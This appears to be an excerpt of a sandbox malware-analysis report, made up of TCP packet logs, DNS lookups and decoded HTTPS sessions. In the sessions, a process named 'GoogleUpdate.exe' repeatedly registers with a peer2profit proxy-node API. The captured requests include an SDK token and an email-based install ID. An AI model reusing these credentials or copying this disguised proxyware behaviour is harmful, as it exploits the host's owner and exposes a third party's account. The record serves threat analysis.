Nov 24, 2022 13:29:16.662432909 CET	443	49888	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.662544012 CET	49888	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.662573099 CET	443	49888	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.662631035 CET	49888	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.664608002 CET	49888	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.664738894 CET	443	49888	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.664832115 CET	49888	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.726756096 CET	49890	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.726834059 CET	443	49890	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.726928949 CET	49890	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.727087021 CET	49890	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.727128029 CET	443	49890	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.727261066 CET	443	49890	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.777386904 CET	49891	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.777446032 CET	443	49891	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.777534962 CET	49891	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.779623985 CET	49891	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.779659033 CET	443	49891	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.832777977 CET	443	49891	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.832926989 CET	49891	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.838799953 CET	49891	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.838870049 CET	443	49891	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.839425087 CET	443	49891	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.839520931 CET	49891	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.840188026 CET	49891	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.840204000 CET	443	49891	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.884118080 CET	49892	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.884195089 CET	443	49892	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.884283066 CET	49892	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.884495974 CET	49892	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:16.884520054 CET	443	49892	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.884670973 CET	443	49892	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:16.952687979 CET	443	49891	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.952768087 CET	49891	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.952788115 CET	443	49891	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.952855110 CET	49891	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.952893019 CET	443	49891	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:16.952954054 CET	49891	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.953075886 CET	49891	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:16.953089952 CET	443	49891	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.053008080 CET	49893	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.053092003 CET	443	49893	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.053188086 CET	49893	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.053373098 CET	49893	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.053395987 CET	443	49893	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.053512096 CET	443	49893	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.071567059 CET	49894	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.071618080 CET	443	49894	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.071697950 CET	49894	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.072103977 CET	49894	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.072127104 CET	443	49894	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.124914885 CET	443	49894	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.124999046 CET	49894	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.125502110 CET	49894	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.125514984 CET	443	49894	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.128640890 CET	49894	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.128664017 CET	443	49894	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.177423000 CET	49895	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.177499056 CET	443	49895	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.177584887 CET	49895	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.177758932 CET	49895	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.177791119 CET	443	49895	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.177884102 CET	443	49895	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.236622095 CET	443	49894	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.236733913 CET	49894	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.236761093 CET	443	49894	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.236809015 CET	49894	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.241646051 CET	49894	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.241755009 CET	443	49894	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.241816998 CET	49894	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.353866100 CET	49896	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.353941917 CET	443	49896	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.354047060 CET	49896	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.354473114 CET	49896	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.354507923 CET	443	49896	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.381258965 CET	49897	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.381304979 CET	443	49897	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.381400108 CET	49897	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.381608963 CET	49897	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.381619930 CET	443	49897	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.381661892 CET	443	49897	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.402131081 CET	443	49896	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.402209997 CET	49896	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.407208920 CET	49896	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.407224894 CET	443	49896	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.407578945 CET	443	49896	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.407655954 CET	49896	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.408153057 CET	49896	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.408165932 CET	443	49896	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.520436049 CET	443	49896	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.520524979 CET	49896	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.520558119 CET	443	49896	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.520629883 CET	49896	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.521192074 CET	49896	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.521234989 CET	443	49896	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.521290064 CET	49896	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.599438906 CET	49898	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.599487066 CET	443	49898	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.599558115 CET	49898	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.599750996 CET	49898	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.599766016 CET	443	49898	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.599806070 CET	443	49898	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.636996984 CET	49899	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.637052059 CET	443	49899	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.637160063 CET	49899	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.637511969 CET	49899	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.637541056 CET	443	49899	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.700185061 CET	443	49899	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.700289011 CET	49899	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.708928108 CET	49899	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.708956003 CET	443	49899	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.709405899 CET	443	49899	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.709485054 CET	49899	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.710210085 CET	49899	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.710232019 CET	443	49899	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.743560076 CET	49900	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.743607044 CET	443	49900	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.743710041 CET	49900	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.743940115 CET	49900	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.743958950 CET	443	49900	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.744014025 CET	443	49900	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.827482939 CET	443	49899	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.827583075 CET	49899	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.827611923 CET	443	49899	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.827668905 CET	49899	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.828327894 CET	49899	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.828433037 CET	443	49899	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.828511953 CET	49899	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.927392006 CET	49901	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.927436113 CET	443	49901	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.929228067 CET	49901	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.929532051 CET	49901	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:17.929543972 CET	443	49901	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.929598093 CET	443	49901	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:17.945054054 CET	49902	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.945106983 CET	443	49902	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.945194006 CET	49902	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.945720911 CET	49902	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.945741892 CET	443	49902	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.990962029 CET	443	49902	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.991077900 CET	49902	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.996867895 CET	49902	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.996881962 CET	443	49902	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.997196913 CET	443	49902	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:17.997292995 CET	49902	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.997926950 CET	49902	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:17.997936010 CET	443	49902	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:18.052252054 CET	49903	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:18.052314997 CET	443	49903	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:18.052416086 CET	49903	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:18.052664995 CET	49903	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:18.052687883 CET	443	49903	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:18.053180933 CET	443	49903	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:18.106724977 CET	443	49902	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:18.106934071 CET	443	49902	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:18.107064962 CET	49902	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:18.111418962 CET	49902	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:18.111443996 CET	443	49902	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:18.226424932 CET	49904	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:18.226500034 CET	443	49904	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:18.226599932 CET	49904	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:18.226952076 CET	49904	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:18.226977110 CET	443	49904	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:18.256683111 CET	49905	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:18.256768942 CET	443	49905	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:18.256874084 CET	49905	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:18.257090092 CET	49905	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:18.257121086 CET	443	49905	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:18.257214069 CET	443	49905	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:18.279016018 CET	443	49904	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:18.280271053 CET	49904	443	192.168.2.4	172.66.40.196

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2022 13:27:49.783783913 CET	192.168.2.4	8.8.8.8	0x471e	Standard query (0)	www.idpminic.org	A (IP address)	IN (0x0001)	false
Nov 24, 2022 13:27:49.947141886 CET	192.168.2.4	8.8.8.8	0x2b97	Standard query (0)	www.idpminic.org	A (IP address)	IN (0x0001)	false
Nov 24, 2022 13:27:52.511169910 CET	192.168.2.4	8.8.8.8	0x62ec	Standard query (0)	www.idpminic.org	A (IP address)	IN (0x0001)	false
Nov 24, 2022 13:27:52.546241999 CET	192.168.2.4	8.8.8.8	0x369d	Standard query (0)	www.idpminic.org	A (IP address)	IN (0x0001)	false
Nov 24, 2022 13:28:25.875381947 CET	192.168.2.4	8.8.8.8	0x5a59	Standard query (0)	api.peer2profit.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2022 13:27:49.926326036 CET	8.8.8.8	192.168.2.4	0x471e	No error (0)	www.idpminic.org	idpminic.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2022 13:27:49.926326036 CET	8.8.8.8	192.168.2.4	0x471e	No error (0)	idpminic.org		66.235.200.147	A (IP address)	IN (0x0001)	false
Nov 24, 2022 13:27:49.964912891 CET	8.8.8.8	192.168.2.4	0x2b97	No error (0)	www.idpminic.org	idpminic.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2022 13:27:49.964912891 CET	8.8.8.8	192.168.2.4	0x2b97	No error (0)	idpminic.org		66.235.200.147	A (IP address)	IN (0x0001)	false
Nov 24, 2022 13:27:52.528363943 CET	8.8.8.8	192.168.2.4	0x62ec	No error (0)	www.idpminic.org	idpminic.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2022 13:27:52.528363943 CET	8.8.8.8	192.168.2.4	0x62ec	No error (0)	idpminic.org		66.235.200.147	A (IP address)	IN (0x0001)	false
Nov 24, 2022 13:27:52.562979937 CET	8.8.8.8	192.168.2.4	0x369d	No error (0)	www.idpminic.org	idpminic.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2022 13:27:52.562979937 CET	8.8.8.8	192.168.2.4	0x369d	No error (0)	idpminic.org		66.235.200.147	A (IP address)	IN (0x0001)	false
Nov 24, 2022 13:28:25.902045965 CET	8.8.8.8	192.168.2.4	0x5a59	No error (0)	api.peer2profit.com		172.66.40.196	A (IP address)	IN (0x0001)	false
Nov 24, 2022 13:28:25.902045965 CET	8.8.8.8	192.168.2.4	0x5a59	No error (0)	api.peer2profit.com		172.66.43.60	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.peer2profit.com

www.idpminic.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49704	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	Direction	Data
2022-11-24 12:28:27 UTC	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:27 UTC	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:27 UTC	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:27 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f224fdebec9968-FRA
2022-11-24 12:28:27 UTC	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49706	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:29 UTC	0	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:29 UTC	0	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:29 UTC	1	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:29 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f2250aeb3a927a-FRA
2022-11-24 12:28:29 UTC	1	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49733	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:36 UTC	6	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:36 UTC	7	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:36 UTC	7	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:36 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f2253a5f975c44-FRA
2022-11-24 12:28:36 UTC	7	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49736	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:39 UTC	7	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:39 UTC	7	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:39 UTC	7	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:39 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f2254a0b80bb49-FRA
2022-11-24 12:28:39 UTC	8	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49739	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:40 UTC	8	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:40 UTC	8	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
